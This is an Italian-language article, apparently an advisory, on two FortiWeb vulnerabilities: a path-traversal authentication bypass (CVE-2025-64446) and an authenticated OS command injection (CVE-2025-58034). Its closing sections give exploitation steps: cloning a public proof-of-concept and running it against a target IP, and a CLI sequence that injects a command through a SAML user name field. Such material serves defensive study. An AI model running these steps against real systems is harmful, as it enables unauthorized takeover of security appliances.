Scopri le vulnerabilità di Fortinet FortiWeb (CVE-2025-64446, CVE-2025-58034)

1. Panoramica

Fortinet FortiWeb è un dispositivo Web Application Firewall (WAF) ampiamente implementato nei sistemi aziendali per proteggere le applicazioni web dalle minacce comuni.

Poiché FortiWeb si trova spesso nello strato di protezione centrale, le vulnerabilità relative all'autenticazione o all'esecuzione di comandi del sistema operativo possono avere un impatto grave sull'intera infrastruttura sottostante. Nel 2025, sono state divulgate due vulnerabilità critiche su FortiWeb:

• CVE-2025-64446 – Bypass dell'autenticazione tramite Relative Path Traversal

• CVE-2025-58034 – OS Command Injection in contesto autenticato

• 2. Panoramica su CVE-2025-64446

2.1 Tipo di vulnerabilità

• Relative Path Traversal
• Authentication Bypass

2.2 Causa della vulnerabilità

CVE-2025-64446 deriva dal fatto che FortiWeb gestisce e controlla i percorsi di accesso in modo non rigoroso prima di applicare il meccanismo di autenticazione.

Nello specifico:

• Il meccanismo di controllo degli accessi si basa su stringhe di percorso logiche
• Non viene eseguita una normalizzazione (normalize) completa del percorso
• Consente l'uso di percorsi relativi per accedere a risorse interne

Questo errore porta al fatto che alcuni endpoint amministrativi possono essere raggiunti senza un'autenticazione valida.

2.3 Impatto sulla sicurezza

• Superamento completo del meccanismo di autenticazione
• Accesso non autorizzato alle funzioni amministrative
• Rottura del modello di autorizzazione del dispositivo di sicurezza

2.4 Versioni interessate

• FortiWeb 8.0.0 – 8.0.1
• FortiWeb 7.6.0 – 7.6.4
• FortiWeb 7.4.0 – 7.4.9
• FortiWeb 7.2.0 – 7.2.11
• FortiWeb 7.0.0 – 7.0.11

---

3. Panoramica su CVE-2025-58034

3.1 Tipo di vulnerabilità

• OS Command Injection (CWE-78)

3.2 Causa della vulnerabilità

CVE-2025-58034 si verifica perché FortiWeb gestisce in modo non sicuro i dati di input dell'utente durante la chiamata di comandi del sistema operativo.

Le cause principali includono:

• I parametri di input non vengono controllati rigorosamente
• Mancanza di meccanismi di filtro o escape dei caratteri speciali
• I dati dell'utente vengono passati direttamente ai comandi di sistema

Questa vulnerabilità richiede un contesto autenticato, ma comporta comunque un alto livello di rischio poiché è correlata all'esecuzione di comandi.

3.3 Impatto sulla sicurezza

• Esecuzione involontaria di comandi del sistema operativo
• Accesso e manipolazione delle risorse di sistema
• Impatto sull'integrità e disponibilità del dispositivo

3.4 Versioni interessate

• FortiWeb 8.0.0 – 8.0.1
• FortiWeb 7.6.0 – 7.6.5
• FortiWeb 7.4.0 – 7.4.10
• FortiWeb 7.2.0 – 7.2.11
• FortiWeb 7.0.0 – 7.0.11

---

4. Metodo di sfruttamento (PoC di riferimento disponibile - CVE-2025-64446)

4.1 Clonare il repository (Scaricare il codice sorgente sul computer)

git clone https://github.com/lincemorado97/CVE-2025-64446_CVE-2025-58034 cd CVE-2025-64446_CVE-2025-58034

4.2 Configurare l'ambiente virtuale (venv)

L'ambiente virtuale Python (venv) viene utilizzato per creare un ambiente di lavoro indipendente per ciascun progetto, aiutando a separare le librerie dipendenti dal sistema Python principale. Questo evita conflitti di versione delle librerie, garantisce la stabilità dell'ambiente di lavoro e limita l'impatto sul sistema.

python3 -m venv venv source venv/bin/activate

4.3 Installare le dipendenze software:

pip install -r requirements.txt

4.4 Eseguire l'intero processo di sfruttamento

python exploit.py <target_ip>

5. Metodo di sfruttamento di CVE-2025-58034 utilizzando comandi CLI (eseguiti dall'interfaccia a riga di comando di FortiWeb dopo l'autenticazione)

config user saml-user

edit "<YOUR COMMAND>"

set entityID http://foo

set service-path /foo

set enforce-signing disable

set slo-bind post

set slo-path /foo

set sso-bind post

set sso-path /foo

end

La vulnerabilità CVE-2025-58034 si verifica perché FortiWeb non controlla rigorosamente i dati di input in alcuni campi di configurazione, in particolare il valore passato tramite il comando: edit "" Problema: Questo valore viene trattato come una stringa di configurazione Successivamente viene inserito in comandi interni del sistema operativo Non viene filtrato o soggetto a escape completo dei caratteri speciali Ciò porta alla possibilità che i dati di configurazione possano influenzare direttamente il comando del sistema operativo eseguito, causando una OS Command Injection.